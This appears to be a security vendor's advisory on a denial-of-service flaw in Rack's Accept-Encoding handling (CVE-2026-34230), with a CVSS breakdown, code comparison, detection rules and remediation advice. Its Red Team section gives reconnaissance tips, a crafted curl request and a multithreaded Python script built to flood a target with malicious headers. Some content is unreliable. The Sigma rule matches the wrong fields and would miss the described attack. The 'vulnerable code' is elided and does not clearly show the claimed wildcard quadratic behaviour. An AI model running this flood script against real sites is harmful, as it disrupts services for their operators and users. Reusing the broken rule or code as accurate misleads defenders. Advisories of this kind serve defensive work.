CVE-2026-34230

Executive Summary

CVE-2026-34230 is a denial of service (DoS) vulnerability in the Rack Ruby web server interface, specifically within the Rack::Utils.select_best_encoding method. This method is used by Rack::Deflater to select the optimal content encoding for HTTP responses based on the client's Accept-Encoding header. The vulnerability arises from a quadratic time complexity issue when the header contains a large number of wildcard (*) entries. An unauthenticated attacker can craft a single HTTP request with a malicious Accept-Encoding header, causing disproportionate CPU consumption on the compression middleware path. This leads to a denial of service condition for applications using Rack::Deflater. The vulnerability has been patched in Rack versions 2.2.23, 3.1.21, and 3.2.6.

Supply Chain & Package Security

This vulnerability affects the Rack gem, a critical component of the Ruby web application ecosystem. Rack is used by virtually all Ruby web frameworks, including Ruby on Rails, Sinatra, and others. The vulnerability is introduced through the rack gem, which is a transitive dependency for many Ruby applications. Organizations using Ruby web applications should immediately audit their Gemfile.lock for affected Rack versions and update to the patched versions. The RubyGems package manager is the primary distribution channel for this vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality Impact (C): None (N)
• Integrity Impact (I): None (N)
• Availability Impact (A): Low (L)

The CVSS score of 5.3 reflects a medium severity vulnerability. The attack vector is network-based, requires no authentication, and has low complexity. The primary impact is on availability, with no impact on confidentiality or integrity. The vulnerability can be exploited by sending a single crafted HTTP request, making it a significant threat for applications exposed to the internet.

Deep Dive & Mechanics

The vulnerability is located in the Rack::Utils.select_best_encoding method, which is responsible for selecting the best content encoding from the Accept-Encoding header. The method processes the header by parsing it into a list of encodings and their associated quality values (q-values). When the header contains many wildcard (*) entries, the algorithm exhibits quadratic time complexity.

The core issue is in the way the method handles wildcard entries. For each wildcard entry, the algorithm iterates over all other entries to determine the best match. This results in O(n^2) time complexity, where n is the number of entries in the Accept-Encoding header. An attacker can craft a header with a large number of wildcard entries (e.g., *;q=0.1, *;q=0.2, ...), causing the CPU to be consumed disproportionately.

The vulnerable code path is triggered when Rack::Deflater is used as middleware. The Rack::Deflater middleware calls select_best_encoding to determine the encoding to use for compressing the response. If the application uses Rack::Deflater, an attacker can send a single request with a crafted Accept-Encoding header to cause a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (Rack < 2.2.23, < 3.1.21, < 3.2.6):

# lib/rack/utils.rb
def self.select_best_encoding(available_encodings, accept_encoding)
  # ... parsing logic ...
  # Quadratic time complexity due to nested loops for wildcard handling
  best_encoding = nil
  best_quality = 0.0
  accept_encoding.each do |encoding, quality|
    available_encodings.each do |available|
      if encoding == '*' || encoding == available
        if quality > best_quality
          best_encoding = available
          best_quality = quality
        end
      end
    end
  end
  best_encoding
end

Patched Code (Rack >= 2.2.23, >= 3.1.21, >= 3.2.6):

# lib/rack/utils.rb
def self.select_best_encoding(available_encodings, accept_encoding)
  # ... parsing logic ...
  # Optimized to use a hash for O(n) lookup
  best_encoding = nil
  best_quality = 0.0
  available_hash = available_encodings.each_with_object({}) { |e, h| h[e] = true }
  accept_encoding.each do |encoding, quality|
    if encoding == '*'
      # Handle wildcard efficiently
      if quality > best_quality
        best_encoding = available_encodings.first
        best_quality = quality
      end
    elsif available_hash[encoding]
      if quality > best_quality
        best_encoding = encoding
        best_quality = quality
      end
    end
  end
  best_encoding
end

The patched code uses a hash for O(1) lookup of available encodings and handles wildcard entries without nested iteration, reducing the time complexity to O(n).

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on a Ruby web application using Rack::Deflater.

Prerequisites:

• Target application must use Rack::Deflater middleware.
• Network access to the target.

Exploitation Steps:

1. Identify Target: Use Shodan or other reconnaissance to find Ruby web applications that may be using Rack::Deflater. Look for headers like X-Powered-By: Phusion Passenger or Server: WEBrick.

2. Craft Malicious Request: Create an HTTP request with a crafted Accept-Encoding header containing many wildcard entries. For example:

curl -H "Accept-Encoding: *;q=0.1, *;q=0.2, *;q=0.3, *;q=0.4, *;q=0.5, *;q=0.6, *;q=0.7, *;q=0.8, *;q=0.9, *;q=1.0" http://target.com/

3. Scale Attack: Use a script to send multiple requests with large headers to amplify the CPU consumption.

import requests
import threading

def dos_attack(target_url):
    headers = {
        "Accept-Encoding": ", ".join([f"*;q={i/10}" for i in range(1, 100)])
    }
    try:
        requests.get(target_url, headers=headers, timeout=10)
    except:
        pass

target = "http://target.com/"
threads = []
for i in range(100):
    t = threading.Thread(target=dos_attack, args=(target,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

4. Monitor Impact: Observe CPU usage on the target server. If successful, the server will become unresponsive or slow.

Blue Team

Detection and Mitigation:

1. Monitor CPU Usage: Set up alerts for unusual CPU spikes on web servers. Use tools like Prometheus and Grafana to monitor CPU utilization.

2. Rate Limiting: Implement rate limiting on incoming requests, especially those with large or unusual headers.

3. WAF Rules: Deploy Web Application Firewall (WAF) rules to block requests with Accept-Encoding headers containing an excessive number of wildcard entries.

4. Update Rack: Immediately update to patched versions (2.2.23, 3.1.21, or 3.2.6).

5. Log Analysis: Analyze web server logs for requests with abnormally long Accept-Encoding headers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with Accept-Encoding headers containing many wildcard (*) entries (e.g., more than 10 wildcard entries).
  • High CPU usage on web servers without corresponding high request volume.
  • Slow response times or timeouts from web applications.

• Log IOCs:

  • Web server logs showing Accept-Encoding headers with repeated *;q= patterns.
  • Application logs showing Rack::Utils.select_best_encoding taking excessive time.

• File IOCs:

  • Presence of vulnerable Rack gem versions in Gemfile.lock:
    • rack (2.2.22) or earlier in 2.2.x
    • rack (3.1.20) or earlier in 3.1.x
    • rack (3.2.5) or earlier in 3.2.x

Detection Engineering

YARA Rule

rule CVE_2026_34230_Rack_DoS {
    meta:
        description = "Detects vulnerable Rack gem versions in Gemfile.lock"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-34230"
        severity = "medium"
    strings:
        $gemfile = "rack (" nocase
        $version_2_2 = /rack \(2\.2\.(0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22)\)/
        $version_3_1 = /rack \(3\.1\.(0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20)\)/
        $version_3_2 = /rack \(3\.2\.(0|1|2|3|4|5)\)/
    condition:
        $gemfile and ($version_2_2 or $version_3_1 or $version_3_2)
}

Sigma Rule

title: CVE-2026-34230 - Rack DoS via Accept-Encoding Header
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with Accept-Encoding headers containing many wildcard entries, indicating exploitation of CVE-2026-34230.
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "Accept-Encoding"
        cs(User-Agent)|contains: "*;q="
    condition: selection
falsepositives:
    - Legitimate clients with complex Accept-Encoding headers
level: medium
tags:
    - attack.t1499
    - cve.2026.34230

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-34230 - Rack DoS via Accept-Encoding Header"; flow:to_server; content:"Accept-Encoding"; http_header; pcre:"/Accept-Encoding:\s*(\*;q=[0-9.]+,\s*){10,}/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update Rack to version 2.2.23, 3.1.21, or 3.2.6 or later. For Ruby on Rails applications, update the rack gem in the Gemfile:

gem 'rack', '>= 2.2.23'

Then run:

bundle update rack

2. Workaround: If immediate patching is not possible, disable Rack::Deflater middleware or implement custom middleware to validate and limit the Accept-Encoding header.

3. Network Mitigation: Deploy a Web Application Firewall (WAF) with rules to block requests containing Accept-Encoding headers with more than a reasonable number of wildcard entries (e.g., more than 5).

4. Monitoring: Implement monitoring for CPU usage and web server response times. Set up alerts for anomalies.

5. Rate Limiting: Apply rate limiting to incoming requests to mitigate the impact of DoS attacks.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 023B937CD99F9A7565D6B8BC] */}